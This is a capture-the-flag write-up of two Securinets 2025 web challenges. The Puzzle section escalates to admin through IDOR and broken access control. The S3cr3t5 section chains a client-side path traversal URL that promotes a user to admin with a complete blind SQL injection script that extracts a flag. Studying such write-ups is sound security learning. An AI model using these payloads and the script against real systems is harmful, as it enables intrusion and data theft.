# 🕵️♂️ Securinets 2025 Web Exploitation Writeup
🖊️**Author:** DJumanto
🛡️**Team:** ITSEC Asia
📖**Note:** This Writeup contains solver for Web Exploitation Challenges
---
# 📚 Table of Contents
1. [Summary (TL;DR)](#Summary-tldr)
2. [Challenges](#Challenges)
- [Puzzle](##Puzzle)
- [S3cr3t5](##S3cret5-(upsolve))
4. [References](#References)
---
# 🔎 Summary (TL;DR)
This writeup contains solver for 2 challenges: S3cret5, and Puzzle.
---
# 🧾 Challenges
## Puzzle
- 🤔Difficulity: Easy
- 🕸️Vulnerability: IDOR, Mass Assignment, Broken Access Control
### Description
To be honest this challenge is kinda.... I don't know what to say, but we will need to exploit broken access control and cracking zip. Some red herring exists to confuse the player.
### Approach
#### IDOR & Mass Assignment
We were given a source code with no placeholder flag, but the web is about making article, where you can collaborate with other user. Also there's an admin only endpoints. First thing I do is to found out how can i become an admin. The first vulnerability lies in the ``get_users_details(target_uuid)``, where a user can access another user information, including their password, but we need ``editor`` role to access this part, but this can be achieved but adding role ``1`` data while registering, below is the code to get a user profile.
> _routes.py_
```python
.....Snippet.....
@app.route('/users/<string:target_uuid>')
def get_user_details(target_uuid):
current_uuid = session.get('uuid')
if not current_uuid:
return jsonify({'error': 'Unauthorized'}), 401
current_user = get_user_by_uuid(current_uuid)
if not current_user or current_user['role'] not in ('0', '1'):
return jsonify({'error': 'Invalid user role'}), 403
with sqlite3.connect(DB_FILE) as conn:
conn.row_factory = sqlite3.Row
c = conn.cursor()
c.execute("""
SELECT uuid, username, email, phone_number, role, password
FROM users
WHERE uuid = ?
""", (target_uuid,))
user = c.fetchone()
if not user:
return jsonify({'error': 'User not found'}), 404
return jsonify({
'uuid': user['uuid'],
'username': user['username'],
'email': user['email'],
'phone_number': user['phone_number'],
'role': user['role'],
'password': user['password']
})
.....Snippet.....
```
#### Broken Access Control
But we need to know the admin UUID. We can get it in the article page if we add the admin to collaborate and the admin accept it. we can see the collaborator uuid here:
>_templates/article.html_
```html
.....Snippet.....
<span class="d-none author-uuid">{{ article.author_uuid }}</span>
{% if article.collaborator_uuid %}
<span class="d-none collaborator-uuid">{{ article.collaborator_uuid }}</span>
{% endif %}
.....Snippet.....
```
To do that we need to abuse another endpoint which is handled by ``accept_collaboration``. There's no validation if the one who accept the collaboration is the user who is being requested
> _route.py_
```python
.....Snippet.....
@app.route('/collab/accept/<string:request_uuid>', methods=['POST'])
def accept_collaboration(request_uuid):
if not session.get('uuid'):
return jsonify({'error': 'Unauthorized'}), 401
user = get_user_by_uuid(session['uuid'])
if not user:
return redirect('/login')
if user['role'] == '0':
return jsonify({'error': 'Admins cannot collaborate'}), 403
try:
with sqlite3.connect(DB_FILE) as conn:
conn.row_factory = sqlite3.Row
c = conn.cursor()
c.execute("SELECT * FROM collab_requests WHERE uuid = ?", (request_uuid,))
request = c.fetchone()
if not request:
return jsonify({'error': 'Request not found'}), 404
c.execute("""
INSERT INTO articles (uuid, title, content, author_uuid, collaborator_uuid)
VALUES (?, ?, ?, ?, ?)
""", (request['article_uuid'], request['title'], request['content'],
request['from_uuid'], request['to_uuid']))
c.execute("UPDATE collab_requests SET status = 'accepted' WHERE uuid = ?", (request_uuid,))
conn.commit()
return jsonify({'message': 'Collaboration accepted'})
except Exception as e:
return jsonify({'error': str(e)}), 500
.....Snippet.....
```
Below is our flow on how we able to access admin account:
1. Make an article as a user, ask the admin to collaborate

2. Force the admin to collaborate


3. Get the admin uuid in the article page

4. See the admin profile

5. Login as admin

Now... how do we got the flag? the black magic starts here. In the source code, an admin capable of listing and read files in ``/data`` and ``/db``, also banning user which has SSTI vulnerability but i won't cover that part since it's a red herring. Yet in the source code they gave to us, there's nothing neither in ``/data`` nor ``/db`` which actually there're something there in the remote 😀. Accessing ``/data`` will serve us with two files:

secrets.zip is locked, we need the password, where do we find it? in the web? no... it's on the ``dbconnect.exe`` 😀. Run strings grep will give us the password:

use it to get the unlock the zip, then we get the flag:
**Securinets{777_P13c3_1T_Up_T0G3Th3R}**
## S3cret5 (upsolve)
- 🤔Difficulity: Easy
- 🕸️Vulnerability: Client Side Path Traversal, Blind SQL Injection
### Description
This chall target is how we can get the admin user and exploit blind sql injection. My fault here is not paying attention on how the id parameter being handled in the client, Instead I was focusing on how can i retrieve the csrf-token for the admin to escalate my user.
### Approach
Looking at where the flag is placed at, our target is to exploit the sql injection vulnerability on user messages functionality which needs admin privilege user to access.
>_init.sql_
```sql
.....Snippet.....
INSERT INTO flags (flag)
VALUES ('Securinets{fake}');
.....Snippet.....
```
And the SQL Injection vulnerability lies here in the ``filterby`` helper function
>_helpers/filterHelper.js_
```javascript
.....Snippet.....
function filterBy(table, filterBy, keyword, paramIndexStart = 1) {
if (!filterBy || !keyword) {
return { clause: "", params: [] };
}
const clause = ` WHERE ${table}."${filterBy}" LIKE $${paramIndexStart}`;
const params = [`%${keyword}%`];
return { clause, params };
}
.....Snippet.....
```
clearly there's no sanitation there, so we might be able to injection SQL command there. The helper function is used by ``msg`` model
>_models/msg.js_
```javascript
.....Snippet.....
findAll: async (filterField = null, keyword = null) => {
const { clause, params } = filterHelper("msgs", filterField, keyword);
const query = `
SELECT msgs.id, msgs.msg, msgs.type, msgs.createdAt, users.username
FROM msgs
INNER JOIN users ON msgs.userId = users.id
${clause || ""}
ORDER BY msgs.createdAt DESC
`;
const res = await db.query(query, params || []);
return res.rows;
},
.....Snippet.....
```
which being called by ``showMsgs`` handler that can only be accessed by admin
>_controllers/adminController.js_
```javascript
.....Snippet.....
exports.showMsgs = async (req, res) => {
if (req.user.role !== "admin") {
return res.status(403).send("Access denied");
}
const { filterBy: filterField, keyword } = req.body;
try {
const rows = await Msg.findAll(filterField, keyword);
res.render("admin-msgs", {
msgs: rows,
filterBy: filterField,
keyword,
csrfToken: req.csrfToken(),
});
} catch (err) {
res.status(400).send("Bad request");
}
};
.....Snippet.....
```
#### Client Side Path Traversal
Let's focus on how we can achieve admin user. First, There's a report functionality there in ``routes/report.js``. Second, the app POST methods were protected by CSRF Token, to make a post request, we will need \_csrf cookie and CSRF-Token header in the request, so serving form page to force the victim to make a POST request without knowing the token would means nothing.
The app has ``addAdmin`` functionality, which allow the admin to make a user an admin but we need to be admin to do this:
>_views/profile.ejs_
```javascript
.....Snippet.....
const promoteBtn = document.getElementById("promoteBtn");
const promoteMessage = document.getElementById("promoteMessage");
if (promoteBtn) {
promoteBtn.addEventListener("click", async () => {
try {
const res = await fetch("/admin/addAdmin", {
method: "POST",
headers: {
"Content-Type": "application/json",
"CSRF-Token": csrfToken
},
credentials: "include",
body: JSON.stringify({ userId: "<%= user.id %>" })
});
const json = await res.json();
promoteMessage.innerText = res.ok ? json.message : json.error;
} catch (err) {
promoteMessage.innerText = "Error: " + err.message;
}
});
}
.....Snippet.....
```
which then will be handled by ``addAdmin`` function in ``userController.js``:
>_controllers/userController.js_
```javascript
.....Snippet.....
exports.addAdmin = async (req, res) => {
try {
const { userId } = req.body;
if (req.user.role !== "admin") {
return res.status(403).json({ error: "Access denied" });
}
const updatedUser = await User.updateRole(userId, "admin");
res.json({ message: "Role updated", user: updatedUser });
} catch (err) {
console.error(err);
res.status(500).json({ error: "Failed to update role" });
}
};
.....Snippet.....
```
The vulnerability lies in the ``profile.ejs``, to be precise, in the logging functionality:
>_views/profile.ejs
```javascript
.....Snippet.....
const urlParams = new URLSearchParams(window.location.search);
const profileIds = urlParams.getAll("id");
const profileId = profileIds[profileIds.length - 1];
fetch("/log/"+profileId, {
method: "POST",
headers: { "Content-Type": "application/json" },
credentials: "include",
body: JSON.stringify({
userId: "<%= user.id %>",
action: "Visited user profile with id=" + profileId,
_csrf: csrfToken
})
})
.then(res => res.json())
.then(json => console.log("Log created:", json))
.catch(err => console.error("Log error:", err));
.....Snippet.....
```
the client will automaticly report the action that current user is accessing the profile page for spesific user Id. The problem is, instead of using userId which is generated from server, it use the id defined in the URL, and take the last one. which can be abused if we have 2 ``id`` query param:
```
http://host?id=2&id=3
```
instead of taking ``id=2``, it will use the last one which is ``id=3``. This can be escalated to Client Side Path Traversal in the log functionality since there's no validation if the id is a number, which instead of number, we can supply ``id=2&id=../admin/addAdmin`` then the client will make log request such as:
```javascript
fetch("/log/"+"../admin/addAdmin", {
method: "POST",
headers: { "Content-Type": "application/json" },
credentials: "include",
body: JSON.stringify({
userId: 2, //since the first id is "2"
action: "Visited user profile with id=" + profileId,
_csrf: csrfToken
})
})
.then(res => res.json())
.then(json => console.log("Log created:", json))
.catch(err => console.error("Log error:", err));
```
it also automatically supply the header with a valid CSRF-Token, allow us to exploit the ``addAdmin`` and escalate our privilege. Submit to the report page with this url ``http://localhost:3000/profile?id=2&id=../admin/addAdmin``, then Login as the target user, will give us the admin access.
#### Blind SQL Injection
Our target next is to exploit the SQL Injection i've covered above, in short we can make a request that exploit the Error Trigger Boolean Blind SQL Injection the admin show messages functionality with this kind of request:
```python
csrfToken = get_csrf_token()
payload = f"msg\" LIKE $1 OR 1=(SELECT CASE WHEN (SUBSTRING((SELECT flag from flags), {position}, 1)='{char}') THEN 1/(SELECT 0) ELSE 0 END)-- -"
response = client.post("/admin/msgs", json={
"_csrf": csrfToken,
"filterBy": payload,
"keyword": "aaaa"
})
```
below is my full exploit using binary search to speed up the search.
```python
import httpx
client = httpx.Client()
baseUrl = "http://web1-79e4a3bc.p1.securinets.tn"
client.base_url = baseUrl
session_cookies = {
"_csrf": "[valid_csrf_cookie]",
"token": "[user_token]"
}
client.cookies.update(session_cookies)
def get_csrf_token():
response = client.get("/csrf-token")
if response.status_code == 200:
return response.json().get("csrfToken")
else:
raise Exception("Failed to fetch CSRF token")
def check_char_greater(position, char_code):
csrfToken = get_csrf_token()
payload = f"msg\" LIKE $1 OR 1=(SELECT CASE WHEN (ASCII(SUBSTRING((SELECT flag from flags), {position}, 1))>{char_code}) THEN 1/(SELECT 0) ELSE 0 END)-- -"
response = client.post("/admin/msgs", json={
"_csrf": csrfToken,
"filterBy": payload,
"keyword": "aaaa"
})
return response.status_code == 400
def binary_search_char(position):
left, right = 32, 126
while left < right:
mid = (left + right) // 2
if check_char_greater(position, mid):
left = mid + 1
else:
right = mid
return chr(left)
def get_flag_length():
for length in range(1, 100):
csrfToken = get_csrf_token()
payload = f"msg\" LIKE $1 OR 1=(SELECT CASE WHEN (LENGTH((SELECT flag from flags))={length}) THEN 1/(SELECT 0) ELSE 0 END)-- -"
response = client.post("/admin/msgs", json={
"_csrf": csrfToken,
"filterBy": payload,
"keyword": "aaaa"
})
if response.status_code == 400:
return length
return -1
def extract_flag():
print("[*] Finding flag length...")
flag_length = get_flag_length()
print(f"[+] Flag length: {flag_length}")
flag = ""
for position in range(1, flag_length + 1):
char = binary_search_char(position)
flag += char
print(f"[+] Position {position}/{flag_length}: {char} -> Current flag: {flag}")
return flag
if __name__ == "__main__":
flag = extract_flag()
print(f"\n[+] Complete flag: {flag}")
```
**Secueinets{239c12b45ff0ff9fbd477bd9e754ed13}**